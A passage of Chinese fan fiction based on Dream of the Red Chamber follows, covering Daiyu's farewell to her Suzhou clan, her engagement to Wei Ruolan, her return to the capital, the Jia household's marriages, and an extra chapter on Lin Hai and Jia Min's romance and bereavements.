黛玉道,“我本想着过完年再返京,只是外祖母多次来信,二表姐夫要参加明年春闱,加上卫世兄好几年没回京,年后水路一时半会走不了,便商量着年前一起同行。”
林家众人听了,都点了点头,“也好,一起安全。”
林家众人本还想着林侯一脉只剩下黛玉一点血脉,留在姑苏,林家护着,又有祖上留下的家财,一辈子无忧无虑的过着也挺好,到时候若有两个孩子,过继回林家一个,林侯一脉也不至于断了传承。
只是,林海早早给黛玉定了亲事,卫家也把黛玉当自己孩子护着,卫家公子也出类拔萃,他们没什么不放心的,只是到底远了,他们看顾不到,早些时候的打算便也没说出口。
黛玉继续道,“我以后怕不能常回姑苏,我爹娘留下的产业不舍得卖了,想留着当个念想,便想托付给叔伯们照看着。”
林五太爷和林族长自然知道林家在江南的产业,本以为黛玉会安排家仆照看,他们到时候再暗中照看着,别让黛玉被人欺负了;如今黛玉愿意托付给族里,他们也会自会尽力。
五太爷、族长林淳同时表态,“好,玉儿放心,族里会给你看好的。”
五太爷又道,“江南到京里路远,不方便,到时候半年给送一次账本和出息,有我看着,你放心,总不会让人欺了你。”
林淳也道,“五叔说的极是。”
黛玉道,“五爷爷、大伯说的那话,我自是信得过叔伯兄弟们。不过,也不能家里白出力。到时候我拿出两成利润,一成给帮忙的叔伯兄弟们,一成留着,给族学和女学,帮助族里老幼,谁家有困难,也方便都帮帮。”
林家众人都赞黛玉心好,卫若兰也只是跟着黛玉来拜访长辈,知道黛玉想把江南的家业托付给族里,却不知道黛玉的打算。
他知道黛玉很好,可黛玉总是能更好,让他有点压力,看来,他要多多努力才行。
毕竟以后,他们要并肩作战许多年,他可不能被黛玉落在后面太远。
林淳道,“玉儿,给学里的,大伯就厚颜留下了,只是给我们的那一成就不必了,到时候给他们开一份工钱就好。”
黛玉坚持,“叔伯、兄弟们到时候肯定劳心劳力,您就收着吧,大不了到时候让兄弟们多出点力,赚得多了,他们分的虽多,可我分的更多。”
黛玉说的像自己占便宜似得,可林家人都知道她是想帮族里。
僵持几番,五老太爷、族长终究没有抵住黛玉的劝说答应下来,只说分成不必一成,半成就好,剩下的一成半存起来,给学里、村里用,或者到时候有灾难的时候救灾,或者黛玉遇到难题了,也好拿出来帮她。
黛玉感激,只得答应,想着以后报答。
正事说毕,闲话一会儿,想着黛玉离京,时间紧张,五太老爷和族长带着林管家去交接。
因着都是长辈,也不用避嫌,五太夫人就留着黛玉、卫若兰和她们叙话。
林家女眷们你一言我一句的叮嘱黛玉到了京城好好照顾自己,要有不好就写信来,或回姑苏来;又叮嘱卫若兰好好待黛玉,以后若有不好,也别彼此磋磨时光,给她们来信,他们自会接黛玉归家。
林家女眷的话是真的,也是给卫若兰一个警告。
黛玉如今虽只是孤女,可林家还在,长辈还在,黛玉永远有归处,有一群家人做后盾,甚至愿意姑娘归家。
黛玉听了很是感激,眼里蓄满了泪水,没留下来,只一句一句的应着。
卫若兰听了也郑重承诺会对黛玉好,一一答应长辈的要求。
卫若兰听了林家长辈的话,想他会对黛玉好,可时光太久,人心易变,未来如何,谁也不能保证;若有朝一日,他们感情不再,那就了林家长辈的话,放她归家,总有长辈为她做主。
虽想了许多,却不过电光火石间。
卫若兰起身,向林家的女眷躬身行礼,郑重承诺会对黛玉好,说道后面,他的语气有些艰涩,却同样坚定,“若有朝一日,我负了妹妹,自会送她归家。”
林家女眷听了,自是放心。
卫若兰若一味承诺发誓,她们未必会信,毕竟,年华流转,若沧海桑田,况乎诺言?
卫若兰答应她们的要求,她们倒是放心许多。
她们也见过许多悲剧,婚前哪家不是许诺待姑娘好,可蹉跎在婚姻里求生不得、求死不能的姑娘太多,活的人不人、鬼不鬼,慢慢一点人气都无,只能活成自己最厌倦的日子。
她们也不能因噎废食,让黛玉放弃眼前好好的姻缘,只能祈祷黛玉幸运点,他们都没变。
交接完毕,用过午膳后黛玉告辞,五老太爷他们顾忌黛玉还忙,也没留她,只说让她走前来家里一趟。
黛玉答应。
回了林府,黛玉也有些累了,便回去休息。
卫若兰与黛玉同行,两人走在路上,看着很是和谐,只是丫鬟们看着二人沉默不语,都心里有些打鼓,可别闹矛盾了吧。
卫若兰酝酿许久,在黛玉院前,还是开口道,“黛玉,我会对你好的,尽我所能;只是岁月太久,我又从武,无法担保未来。可是,我保证,我不会伤害你,我会努力和你并肩同行此生。若有朝一日,我伤害了你,你就离开。”
卫若兰觉得有冒昧,可还是开口。
并肩同行此生,多美的承诺。
黛玉笑了,风华无双。
黛玉懂的,她们虽然交集不多,可也认识六年了,初见时的惊鸿一瞥,牡丹宴上再见,公堂上坚定不移的支持……她也听若竹说过许多她兄长的事情。
那是她想,若竹真好,有这样的兄长护着长大,不知会看上怎样的男子?那世间男子,在她眼里,怕都会成为将就。
可惜,后来若竹没有机会去看世间男子,也没有机会去挑喜欢的丈夫,被帝王赐婚给了三皇子。
三皇子不是不好,他能让若竹有机会触摸到皇权;可给不了若竹现世安稳、情有独钟,还可能一朝倾覆。
好坏沾半,愿赌服输,她们都认了,可到底意难平。
黛玉其实有些羡慕,但不是羡慕若竹的哥哥很好,而是若竹的哥哥家人都在。她的父母、弟弟也很好,只是已经离开她了,只剩下父亲。
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后来,父亲外出赈灾回来,黛玉也偶然听父亲提起过,赈灾途中遇上了卫若兰,说他帮了很多忙,赞他是“卫家玉树”。
再后来,卫家来提亲,父亲说相信他,其实她也信的,信他人品,所以点了头。
哪怕那会儿没有男女之情。
后来,来自北疆的信,及笄是的玉簪,父亲死后千里奔波、结庐守坟,二年多的书信往来,父亲三周年那天的重逢……桩桩件件,都慢慢让她生了情。
原来,她把他们的过往记得清清楚楚。
或许,一开始,他就是不一样的。
黛玉不语,卫若兰也懂了。
黛玉走后,他看着她的院子,缓缓笑了,很有几分当年仙郎的风采。
后面几日,黛玉带着丫鬟们归置府里的事情,安顿好后,又设宴邀了英莲、林灵、林熳、林秋并当年的同窗聚聚。
与众好友聚过,宴散后,黛玉问英莲、林灵、林熳、林秋愿不愿意帮她打理群芳会的事。
英莲和林氏姐妹也曾帮过黛玉一些小忙,知道她帮了很多女性,自然一口答应。
后面的时间,黛玉便给英莲她们介绍了姑苏群芳会的产业和各地的群芳女学,告诉她们要怎么做,又叮嘱她们有事尽管来信。
后来还专门找了一日,待她们去各处看了看,介绍她们和管事们认识。
待群芳会和林家产业的事情都交托出去,黛玉终于无事一身轻,好好修养了几日,读书写字赏院子。
卫若兰一时无所事事,想要帮忙,又不好插手,只好练武,读书。
林家藏书丰富,黛玉想着卫若兰无事闲着,便让管家去了林家收藏的兵家典籍、林侯当年记得行军手册,给卫若兰看。
卫若兰如获至宝,每日如饥似渴的研读,但还是黛玉闲下后,怕黛玉闷着了,忍痛从书海里钻出来,陪着黛玉在府里到处逛逛。
看着满园秋色,二人有时诗文唱和,有时琴箫合奏,有时弹琴舞剑……
林管家带着林家五老爷林润并四公子林炎巡视、接受林家产业,忙到十月初,才看看理顺。
到了九月底,一切收拾妥当,约定十月初二去拜访林家长辈。
初一恰好无事,黛玉想着上次离苏前父亲带她去寒山寺,便想着也去一次。
兴之所至,黛玉和卫若兰商量后,便带着丫鬟们、护院们去了寒山寺。
正好初一,寒山寺香火很是茂盛。
卫若兰在旁边专心护着黛玉,黛玉学着父亲的样子,给卫若兰她们介绍起寒山寺。
一行人又去正殿拜了佛,黛玉没有为自己求什么,只求佛祖保佑父母、弟弟往生极乐,卫若兰和姐妹们都平安健康,天下女子早日脱离苦海;卫若兰也没有为自己求,他求黛玉心想事成、平安快乐,求家人健康长寿,百姓安康,战乱远去……
十月初二,黛玉和卫若兰去了林五太爷府上,在姑苏的叔伯、兄弟、姐妹都到了,算是给黛玉、卫若兰办的饯别宴。
此去不知何时归乡,只盼着黛玉一切都好。
又想着黛玉此去要成亲了,叮嘱黛玉日子定了,给家里来信,到时候叔伯兄弟们都去。
一时别意散了许多,没多久就能再见了。
可见后又是更久的别离,气氛又低沉起来。
长辈们伤感,小辈们倒没多想,只说到时候去看黛玉。
黛玉也道,到时候一定好好尽地主之谊,待兄弟姐妹们好好玩。
林五太爷道,等你们那日考了举人,到时候就让你们去京里找你妹妹。
此话一出,长一辈的倒也没说什么,只想着该好好教导下一代了,曾经他们不想出仕,在姑苏当个富家翁也不错;可如今林侯一脉只剩黛玉,总不能指着一个小姑娘庇护族里,族里一干大人该护佑孩子们的,便也鼓励小辈好好努力。
林家重视孩子读书,却不在乎举业,读书无甚压力,反而读的不错,放出去也多少是个小才子;如今听了长辈的鼓励,个个摩拳擦掌要好好努力,以后去京里找姐姐/妹妹。
长辈看着孩子们兄友弟恭的样子,都很欣慰。
黛玉也知道族里的状况,林家这么多年,偏居一隅也安安稳稳的过来了,除了同族的无形护佑,林家对族学的扶持,族里并没有借什么力。
后来,林海这代没了爵位,科举考中探花,后来回江南做官,虽帮着族里,可族里也没少帮他。
算是,互相成就。
如今,族里的决定,多少都有为她考虑的缘故。
长辈没说,可她心里记着,只想着到时候把父亲留下的读书笔记抄了给族里送一份;以后,京里有了什么消息,也给送一份,到时候能帮的都帮着点。
散后,黛玉去单独见了五老太爷,本想开口问,老人向知道似得,堵住了她要说的话,只和她说起当年父祖的事,要她以后好好的。
直至晚上,黛玉才告辞离开。
黛玉回府,便让雪雁把自己守孝期间抄的父亲笔记那一套给管家,送去族里。
夜里,黛玉躺在床上,想起曾经百日的一切,想她或许也不是一个人。
第二日,黛玉、卫若兰一行登上船,船驶离姑苏,把姑苏落在后面,把林家老宅也落在后面。
如今林家老宅几乎空了,只留了几户下人守着。
黛玉看着姑苏的方向,看向林家老宅的方向,久久不能回神。
卫若兰站一旁陪着她,丫鬟们在周围陪着。
她们都长在姑苏,如今离开故土,万分不舍。
到了扬州,黛玉一行回了扬州林府。
运行李的船倒没停,一路开往京城,到了自有人接。
黛玉一行安顿好后,递了拜帖给齐家,第二日拜见了齐家。
长辈多有交情,又是素心夫家,自是一片和气。
扬州林府的日子,几乎是林家一家最欢乐的日子,林海夫妻渐渐走出了父母离开的痛苦,官途畅通,又有了一双儿女,日子再欢乐不过。
只是,好景不长。
不过,扬州林府并没有留下多少林家夫妻的旧物,林海离开时要么送回了姑苏老宅,要么带回了京。
黛玉还是在扬州林府住了十来日,缅怀过往的日子。
十月十五,黛玉、卫若兰、素心、齐俨一行人启程,英莲、林灵几个还特意赶来送信,姐妹几个又哭了一场。
但别时终须别,船还是启程了。
到了京里的时候,已经十一月中旬。
众人已经换下秋装,穿上了冬装。
幸运的是,河没有冻住,不然,她们怕要在路上过年,或者走陆路。
船到了,卫家、贾家、林家派来等着的管事赶忙派小厮回府报信,一边上船给主子请安。
黛玉并没有直接去贾家,只让素心带话,“明儿个一早就去见外祖母、舅舅、舅母们。”
卫若兰送黛玉回了林府,才回家见父母。
黛玉刚一回府,就找出姑苏林家主院挂的林海、贾敏的肖像画,拿着去挂到了主院正堂;又去了一趟祠堂,果然已经多了父亲的牌位。
黛玉上了炷香,告诉父母她回来了,才回了自己院子休息。
黛玉回去的时候,丫鬟们已经在院子里备好晚膳等着了。
42.第四十二夜
贾家这两年也算顺风顺水,贾赦依旧没有出仕,但走出早年的衰颓,时常出去与友人品玩古山、古玩,这些年不光恢复了与早年好友的旧交,也交了许多好友,风评也扭转许多。
贾琏本就人情练达,擅长数算管账,这些年户部升的也不慢,已经当上了从五品员外郎。
王熙凤自打当年去姑苏读了书,后来也一直没放下过,也慢慢改了早年的暴脾气,是个爽利的文化人了,出去交际,各家夫人只有赞的。
丈夫上进、妻子贤惠,夫妻和睦,儿女双全,再好不过了。
贾赦后来也很邢夫人谈过一次,之后邢夫人彻底放下了贾赦,专心过起自己的小日子,养着贾琮,母慈子孝,日子好了,邢夫人都年轻许多。
大房日子过得蒸蒸日上,贾母也欣慰。
可大房日子好了,二房又起波澜。
二老爷沾了闺女的光外放当了学政,可惜自己不通庶务,被底下人懵逼,闯出科举舞弊的滔天祸事,好在,他没有插手,只是被罢了官。
连累的元春也在宫里受了冷落,贾母、王夫人为此担心了很久,但也无计可施。
贾政没了官衔,只好整日待在家里,带着一帮请客论学,虽然也论不出什么;索性管教起孩子,向孩子们完成自己当年的梦想——科举出仕,反正他有宝玉、贾环两个儿子,还有贾兰这个孙子,以后孙子也不会少。
贾政觉得只要他好好教,子子孙孙无穷尽也,总会实现他的理想。
但他又教不明白,是严师也就罢了,他还不了解几个学生的进度,只按他的想法来,几个学生听得云里雾里,很是艰难。
不过。贾珠的遗腹子从小被母亲李纨带着读书,后来去了贾家族学,先生又基本不管事;如今跟着祖父读,起码比早先好,学的很是认真;探春的胞弟贾环比贾兰还苦瓜,早先都没人管,如今父亲愿意管,自然开心,学的很上心。
可宝玉就不同了,从小祖母、母亲宠着,一堆丫鬟哄着,贾政也顾忌母亲和长子因着科考太用功早逝,宝玉在诗文上又有些歪才,贾政只觉儿子一定会雏凤清于老凤声,对他还算放松。
早先黛玉入府的时候,宝玉虽搬去了前院。
那会儿贾政忙着去衙门点卯、会见清客,教导宝玉也就是闲了考教几番,布置点课业;上有政策,下有对策,宝玉在姐妹们的帮衬下也混了几年。
等他退休,专心教养儿子的时候,儿子已经歪了。
虽然贾兰和贾环也很用功,可他们天分有限。
所以,贾家二房就在贾政、宝玉猫追耗子、耗子多猫中鸡飞狗跳起来。
贾母看着宝玉一日日焉下去,自然心疼不已。
早年烦大儿子,如今,又烦小儿子。
真是风水轮流住。
怎么就不能都好好过日子呢?
贾母越发怀念起省心乖巧的小女儿,想起女儿,就想起孤孤单单,一个人给父母守孝的外孙女。
几次三番去信接黛玉。
可外孙女一心自苦,要为父母守坟,让老太太操碎了心,很是忧虑;直到得了外孙女要回京的消息,才放下心。
王夫人看着宝玉不爱读书,见父亲跟老鼠见了猫似得,也觉得不行;想着成亲就大人了,指不定宝玉就长大懂事了,宝钗又是个贤惠懂事的孩子,她很喜欢,就去找贾母说宝玉成亲的事。
贾母听了,觉得也对,毕竟宝玉年龄也到了。
贾母早先为宝玉考虑她母家史家的嫡长女史湘云,可王夫人不满人家姑娘父母双亡,没心没肺,只知道憨吃憨玩,她想着婆婆不满意,也不能让自家姑娘嫁过来受委屈,湘云这孩子襁褓就失去母亲,本就命苦,婚嫁可不能亏了孩子,便也没再提。
后来,女儿过逝了,贾母心疼外孙女,想着孙子、外孙女凑一对,回自家也不怕以后受磋磨,外孙女一来她就爱的不行,容貌、礼仪、学识每一样差的,启蒙老师是进士,守孝读书的先生也是当地名士,那都挑不出毛病。若真要挑点毛病,大概是姑娘太出挑了,哪怕是一门两国公的贾家也没说请个进士给孩子们启蒙。
谁知,王夫人还不满意,觉得黛玉太出风头,不是贤妻良母的料,以后照顾不好宝玉,偏看上她妹妹皇上薛家的女儿。
贾母也不是不满意宝钗,虽然她不喜欢这样规矩的女孩,她更喜欢活泼灵巧的姑娘。可她知道宝钗是个好姑娘,文采、规矩、品性都不差,但宝钗的哥哥早年身上有人命官司,还是贾、王两家摆平的;到京里,也不省油,早年还惹到过柳家的柳湘莲。
贾母也不是挑拣家事,但凡宝钗的哥哥只是不出挑,守不住家业都没什么,可怎么都不能有个闯祸精啊。
哪怕姑娘再出挑,考虑家里也让人望而却步,也不知道王夫人是被猪油蒙了心还是咋的?
门第、嫁妆、人品才华样样都好的姑娘看不上,非看上宝钗?
如今,黛玉早几年就和卫国公府的世子卫若兰定了亲,哪怕还未成亲,林海去世,卫家也进了亲家的礼数、卫家子也尽了郎婿的孝心。
湘云也嫁出去了,史家给定的平原侯嫡长孙,如今,夫妻过得和和乐乐的。
贾母也知道,她再看自家孩子好,也不能昧着良心说宝玉更好。
卫若兰、蒋子宁那个才华、家事不比宝玉强,人家家里求娶的姑娘,自家儿媳妇还看不上?贾母也不知如何是好?
毕竟,她只是祖母,王夫人才是宝玉母亲。
如今,王夫人又一次提起,贾母慢慢给王夫人说了,王夫人知道自家外甥、外甥女都是好孩子,外人瞎说。
贾母也无法,儿孙自有儿孙福,只得答应。
最主要的事,贾母也知道宝玉近些年给黛玉她们折腾的群芳脂粉调脂粉,没少赚钱,还打首饰孝顺她呢。
她想着,孩子有一技之长,她以后也有体己留给宝玉,孩子也饿不着,吃穿不愁,又有贾家做靠山,一生无忧没什么不好的。
她这一辈子,见得多了,什么都不如孩子平平安安的,宝玉也没有那个天赋,不强求了。
王夫人得了贾母的点头后,欢天喜地的张罗起婚事。
宝玉不是很愿意,他和宝钗姐弟之情有,但宝钗老劝他读书,他不喜欢;可父母之命,媒妁之言,他也没办法,只能从了。
婚后,宝玉不喜仕途,一味调弄脂粉;宝钗一个劲劝宝玉读书,开始的举案齐眉,也变成了相敬如宾。
王夫人早前看宝钗别说多满意了,可婚后又百般挑剔。
宝钗无法,只能想办法顺毛。
慢慢地,王夫人待宝钗也恢复成婚前的样子。
宝钗也后悔过,她想要好风凭借力,就不该看中宝玉体贴姐妹,可有那么个哥哥,榜下捉婿,聪敏的也不会选她;剩下那些想吃的绝户的,或者要熬好多年,也不一定能飞黄腾达的,还不如宝玉,宝玉已经是她抓到最好的人选了。
如今,木已成舟,她只能坚定的往下走。
想开后,宝钗也想法子和宝玉缓和关系,一时间夫妻诗词唱和,也算琴瑟和鸣。
贾母看了也欣慰几分。
探春也年龄到了,王夫人又不爱交际,熙凤给介绍了好几个儿郎,王夫人看家世比素心嫁的差太多,又不能帮上宝玉,都不太满意。
可王夫人也不想想,他家如今不过是个白丁,也就贾母还在,她们家还能称一句公府子弟,不然,她家还有什么。
熙凤和几个妹妹关系好,也确实用了心,可不讨好,慢慢也放弃了。
如今,探春还待字闺中。
探春知道后,夜里埋在被子里狠狠哭了一场。
探春也知道,二嫂介绍给她的那些人家都是好人家,算她高攀。
可惜,一个人有一个人命。
哭过后,探春依旧是一朵铿锵玫瑰,继续坚强过日子。
赵姨娘让探春去求老太太,可探春也知道祖母年龄大了,若能做主她们的婚事,宝玉也不至于娶了宝钗,便拒绝了赵姨娘的提议。
赵姨娘恨铁不成钢,只好拼命讨好贾政,可贾政只一句“自有主张,听太太的”,赵姨娘也无计可施。
索性,探春也不急着嫁人,她在闺中日子过得不差。
放开心胸后,探春整日读书、练字、写文、作诗,或者去找熙凤学管家,去帮着熙凤看孩子,或者帮陆沅她们整理诗稿,日子也过得自在。
探春一直相信,机会是留给有准备的,以后无论面临怎样的绝境,她都能淌出一条路来。
贾敬早些年被贾赦劝着从道观里出来了,管着家里无法无天的不肖子孙;又因早年不管不顾,愧对这个幼女,贾琋不愿成亲,也由着她。
贾琋这会和楚柠两个结伴在群芳女学教学,两人的婚事都是老大难。
群芳女学的世家夫人对两姑娘颇有好感,到宁府、慎亲王府提亲的不知凡几,可惜谁也不愿意,急的慎亲王妃大把大把的掉头发。
黛玉离
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京一年后,陆沅也嫁人了,是她爹的学生魏笙,也算青梅竹马,现在住在陆家隔壁。
早晨,魏笙在国子监读书,陆沅去群芳女学教学,晚上,小夫妻去陆府蹭饭,然后再回他们的小家,探讨功课,红袖添香。
楚榕还未出嫁,姐妹们陆续出嫁出京,她在京里也寂寞,便把全部心力投入慈幼院;闲时便邀留在京里的姐妹相聚,只是人少了许多了,半点没有曾经的热闹,都道等姐妹们回京了,好好热闹一场。
三年过去,京城周边的几个郡都已经办了慈幼院。
若竹和楚檀过得也还行,对彼此没有感情,只当盟友的还行。
不过,外人看起来,她们也是一对相敬如宾的恩爱夫妻。
岁月流转,日子只能说不好不坏。
群芳会的十几个姑娘都是家里宠着的,婚嫁也是精挑细选的,除了若竹是圣旨赐婚,没有选择。
早年未出阁时她们要办绣庄、诗集、脂粉铺、女学,帮那些落难的女子,家里也没有阻拦,反而积极支持;婚后,婆家也多有宽宥,没有阻拦她们继续操办群芳会的事情。
虽然,有一部分原因是她们做的好事,能带来好名声。
夫妻也算和睦,随夫外任的也都有商有量的过起了小日子,只是,好景不长。
可过得像陆沅、魏笙一般的极少,多的都在妻子怀孕后纳了通房。
慢慢地夫妻间也起了间隙,不明显,甚至那些男的什么都发现不了。
她们若未曾走出闺阁,或许不会觉得怎么样,甚至怀孕会自己选了侍女开脸当通房,甚至提姨娘。
毕竟,日子怎么都是过,谁家都这样,她们遇上的都不错了,至少尊重正妻,只把通房当玩意。
可是,他们的仕途、政绩有她们出的一份力,可功成名就的只有他,她们只能被羡慕有一个好丈夫,凭什么?
她们努力办群芳会,努力帮助受害的女性,不是为了再过以前的日子,不就是为了女子不再沦为玩意吗?
如果她们妥协,这样忍气吞声的过一辈子,她们的群芳会有什么意义?她们还怎么去救那些被压迫、被当玩意的女子?
她们暂时也不能做什么,只是把丈夫从心里驱逐,默默积蓄力量,以待未来。
蒋易、陆沅、楚榕、卫若竹得到黛玉回京的消息,赶忙递了帖子,约着到时候聚一次。
黛玉想着邀拜访外祖母和亲友,便回帖十二月初在林家设宴,邀姐妹们赏花。
姐妹们得了消息,只期待时间过得快些,毕竟,三年未见了。
可她们也知道,黛玉初回京,要拜访亲朋好友,没有时间。
第二日一早,黛玉就带着给外祖母、舅舅舅母们的礼物到了贾府。
熙凤、贾琋、探春、宝钗都已经早早等着了。
熙凤拉住黛玉道,“可算把妹妹盼来了。”
黛玉回握熙凤,“我也想姐姐了。”
贾琋也从另一边拉住黛玉,问起黛玉这些年的经历,问黛玉好不好,小嘴问个不停。
黛玉也在贾府住了一年多,后面父亲回来了,也常来常往,姐妹们情分极好。
黛玉看着四妹妹的样子,也有些无奈,摸摸贾琋的头,只道,“我还好,只是想念姐妹们,这不一回京就来了。”
贾琋笑着躲了躲。
宝钗也道,“妹妹这次来可多住些日子,老太太、还有我们姐妹可都念叨着妹妹呢?”
黛玉道,“盛情难却,就听宝姐姐的。”说罢,黛玉调皮的捂了下嘴,又看着宝钗调侃道,“哦,看我,该打,该改口了。还未见过表嫂,今儿个还特地给表嫂准备了礼物,还要表嫂原谅则个。”
黛玉早先在贾府住了一年多,后面父亲回来了,也在常来常往,和宝钗长一起玩,情分虽比不上群芳会的姐妹们,但也是好友。
毕了,黛玉还搞怪的做了个揖。
宝钗故意叹道,“哎呦妹妹这张嘴哟,实在说不过。能怎么办呢,只好从了妹妹咯。”
说罢,众人笑成一团。
久别重逢,都有数不尽的话说。
还是探春阻止了她们,“快别说了,祖母、大伯母、母亲还等着呢。”
熙凤几人忙簇拥着黛玉去了荣庆堂。
贾母本想亲自出来接外孙女,可到底年事已高,被众人劝住了。
谁知,她们在这边殷殷盼着,那边姐妹们直接逗上了乐了。
简直是欺负孤寡老人。
43.番外一
林海少年成名,冠盖满京华的少年郎,文采飞扬是他,风流放旷是他,别人家的孩子是他,深闺梦中人也是他。
虽然,闺阁闺秀不知林海的样貌,但却处处是他的传说。
提亲者无数,可惜神女有梦,襄王无心,媚眼都抛给瞎子看了,没有。
林家只能解释孩子醉心读书,中举后才考虑,才拦住一波又一波的媒婆。
贾敏的祖父是国公,父亲也是国公,还是皇帝宠臣,她更是父亲贾代善解甲归田后才得幺女。
比哥哥姐姐们幸运许多,她在父母陪伴下长大,又生的聪慧伶俐,最得父亲疼爱。
琴棋书画、骑马射箭,只要她喜欢的,她的父母都会满足她。
当时的公主都不如她自在,天之骄女不过如是。
两个哥哥都比她大许多,也都对她好,只是,年龄差许多,玩不到一起;虽有三个姐姐,她长大的时候,三个姐姐都快嫁人了,她们又是异母姐妹,总有些隔膜,她总觉得还是孤单。
和友人聚会时,常听闺蜜们提起林海,虽不至于倾心,贾敏也对林海颇多好感。
毕竟,贾敏也想要一个会读书,还会陪她读书的哥哥。
虽然,贾敏已经有了可以一起读书的大嫂,但在大嫂没来以前,有个一起读书的哥哥一直她的梦。
贾敏十五那年,林海二十岁,带着随从回江南参加秋闱,中解元。
春风得意马蹄疾,从江南回来,林海只让随从们收拾东西,自己归心似箭,打马回府,想要快点亲口告诉父母喜讯。
或许是命运。
那天,贾敏和大嫂也乘车出门。
风吹开贾敏马车的帘子,贾敏望向窗外,林海打马而过,二人对视,心跳怦然。
在马车上,大嫂还调侃“好俊朗的儿郎,也不知道话落谁家,也不知道谁有福气,娶了我们敏妹妹。”
羞得贾敏面红耳赤,直埋到大嫂怀里。
后来,卫国公府牡丹宴,贾家和林家都受邀参加,贾敏、林海再次相遇。
一见怦然,二见心动,后来一切顺利成章,定亲、成亲。
林海短时间迎接大小登科,可谓“春风得意马蹄疾,一日看尽长安花”。
在众人以为林海要闭关读书,准备下次秋闱的时候,林海想要去游学。
林海性情疏狂,但也知道自己虽有几分才名,但在学问一途耕耘日短,与前辈相差甚远;参加春闱虽能中,名次却不会高。
再者,科举考试的结果是做官,他并没有多少野心,林家只有他,他未来一定要未家人撑起一片天,可在家闭门读书,不见山河景象,不见百姓疾苦,如何做个好官?
闭门读书无异于坐井观天,他该去看看大楚江山,才能决定以后该怎么走。
新婚燕尔,父母慈爱,又与妻子情投意合。
他们谈文论诗,说过去、说未来、说现在,凤协鸾和、谈文论诗,又棋逢对手。
林海舍不得妻子,也舍不得放弃这样的好日子,便想着先与妻子商量。
谁知,林海一说,贾敏立马答应,还道要陪着他一起去,还说她自幼和父亲习武,到时候可以保护林海。
妻子都这样说了,林海当然十分高兴,欣然应允。
后来,林海听了儿子想法,也答应了,只叮嘱儿子要好好照顾自己,照顾贾敏,常来信,又选了几个可靠的仆人保护她们;贾府听了女儿、女婿要出门游学,虽不放心,可夫家愿意让女婿带女儿出门,她们总不会阻止,只是挑了几个武艺好的仆从,保护女儿女婿。
准备好一切后,林海、贾敏夫妻便拜别亲长好友,带着一二仆婢和护卫踏上了游学之路。
此后数年,二人虽不时回京看望父母亲朋,却从未停下脚步,江南烟雨、北疆黄土、南疆山林、大江大河,她们都到过了;百姓疾苦,她们也见到了。
途中,遍访名山古刹和书院、拜访各地名士大儒、与各地学友论文谈诗说玄、结交几位知己好友,留下诸多诗文和逸事。
她们看诗书里、现实外的世界和生活,与同道切磋学问,观景、观事、观世。
林海最终还是决定参加科举,以后当个好官,贾敏知他志向,自然赞同。
二十五岁那年,林海回京。
次年,林海参加春闱,中探花。
又三年,贾敏怀孕,得女。
林父林母好不容易盼到孙辈,自然十分欣喜,一家四口正欢天喜地的准备迎接新生命的到来。
可惜,厄运无声无息的突然降临。
皇子夺嫡逼宫,林父动乱中被逼自尽。
贾父救驾而亡。
朝廷自有褒奖,死后哀荣。
只是,什么都无法替代他们失去的亲人。
丧礼过后,林母林海贾敏扶棺回姑苏安葬守孝,林父安葬入祖坟后。
林母终于撑不住了,哀毁过度,缠绵病榻。
父亲、岳父一同逝世,母亲重病,妻子身体尚未恢复,女儿也因跟着她们奔波有些病弱。
林海分身乏术,甚至难以专心的怀念父亲。
林海深受父母宠爱,还没来得及好好孝顺父母,父亲就已离开,而母亲也没有多少时日,对他们夫妇甚为慈爱的岳父也一同离去,他的悲伤难以排解。
子欲养而亲不待,旁人无法劝解。
贾敏一直觉得自己是幸运的,最幸运的还是当年惊鸿一瞥过得的少年郎成了她的良人。
贾敏自幼看惯京中女眷相夫教子的日子,从来知道女子境遇艰难,即使父母宠爱,她也知道不会有什么不一样。
嫁给林海,只是因为喜欢他。
毕竟,她总要嫁人,即使同一种生活,和喜欢的一起过,和不喜欢的人一起过,是不一样的。
可是,林海是不一样的。
在大多数男子一心权势,把孝顺父母交给妻子、妹妹,让大多数女子困于宅院和闺阁时,在大多数女子帮丈夫打理后宅、孝顺父母时,他愿意带她去游学,愿意和她一起走的更远,而不是他在前面走,她只能留在原地等他回来。
从喜欢到深爱,从深爱到死生不弃,这一路,他们走了十年。
贾敏自嫁入林家,公婆慈爱,丈夫相得,只一点不好,他们一直没有孩子。
林家子嗣稀少,林海更是独子,他们也看了不少名医,都说他们身体都好。
林父林母也不是不着急,只是都安慰她,说都是缘分,他们还年轻,林海也是他们三十出头才有的孩子。
如果贾敏嫁给别的人,她可能会像她认识的那些姑娘一样,困于宅院,为一个男人打理后宅、抚育子女、甚至勾心斗角;可那样,贾敏不会把那个男人放在心上,更不会深爱那个男人,没有孩子,她依旧是主母,可以从容教养庶子女。
毕竟,她成长于贾府最鼎盛的时候,是荣宁二府(贾氏)第三代唯一的嫡女,是荣国公嫡女,以她父亲的权势,以她的才华和能力,即使嫁入皇室,没有孩子,也不会动摇她的地位,她根本不必患得患失。
可是林海不一样,贾敏爱他,她想要有一个他们的孩子,无论男女。
无关传宗接代,她爱他,自然想要拥有他们的孩子。
最期待的时候,她甚至想要喝些秘方,却被婆婆和丈夫阻止了。
因着林家体弱,她们都通医理,告诉她是药三分毒,要是以后孩子带病怎么办?
不若放松心情,等孩子来。
果不其然,林海三十岁,贾敏二十六岁那年,他们迎来了他们的孩子。
得知喜讯,林贾两家亲朋都为他们欢喜。
不过两月,父亲救驾而死,公公意外身亡,婆婆重病,他们都瞒着她,可她还是知道了,惊惧晕厥。<
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贾敏失去了最疼爱她的父亲,她的丈夫也失去父亲,他们都没有了父亲。
因着孩子还小,她还未出月子,她连送他们最后一程都不行,她甚至不能陪着母亲、婆婆,也不能为他分担。
好在,母亲有哥哥嫂子们照顾,婆婆也努力撑着。
后来,她们扶灵回南。
公公下葬后,婆婆终于撑不下去,病倒了。
日子一天天过着,一年很快过去,她们迎来了失去亲人后的第一个新年。
每逢佳节倍思亲,佳节成堆,思亲情千百倍。
二月十二,花朝节,百花盛开。
黛玉周岁抓周,林母脸上久违的浮起笑颜。
林母看到孙女,心情好转,贾敏索性白日把女儿给婆婆送去,想来孩子陪着,能好许多。
一年后,林母还是走了。
接连失去父母,虽然已经有了准备,可到底难以接受。办完丧事后,林海终于撑不下去了。
这时,换成了贾敏支撑他。
虽然她也难过,但没法相替。
守孝的日子一日日流过,悲伤渐渐也敛在心里,似乎已经过去了,却愈发深刻。
好在孩子渐渐大了,新生命的成长虽然无法减淡悲伤,却到底为生活添了几缕生机。
时间一日日过去,逝者已矣,生者的日子还在继续。
养儿方知父母恩。
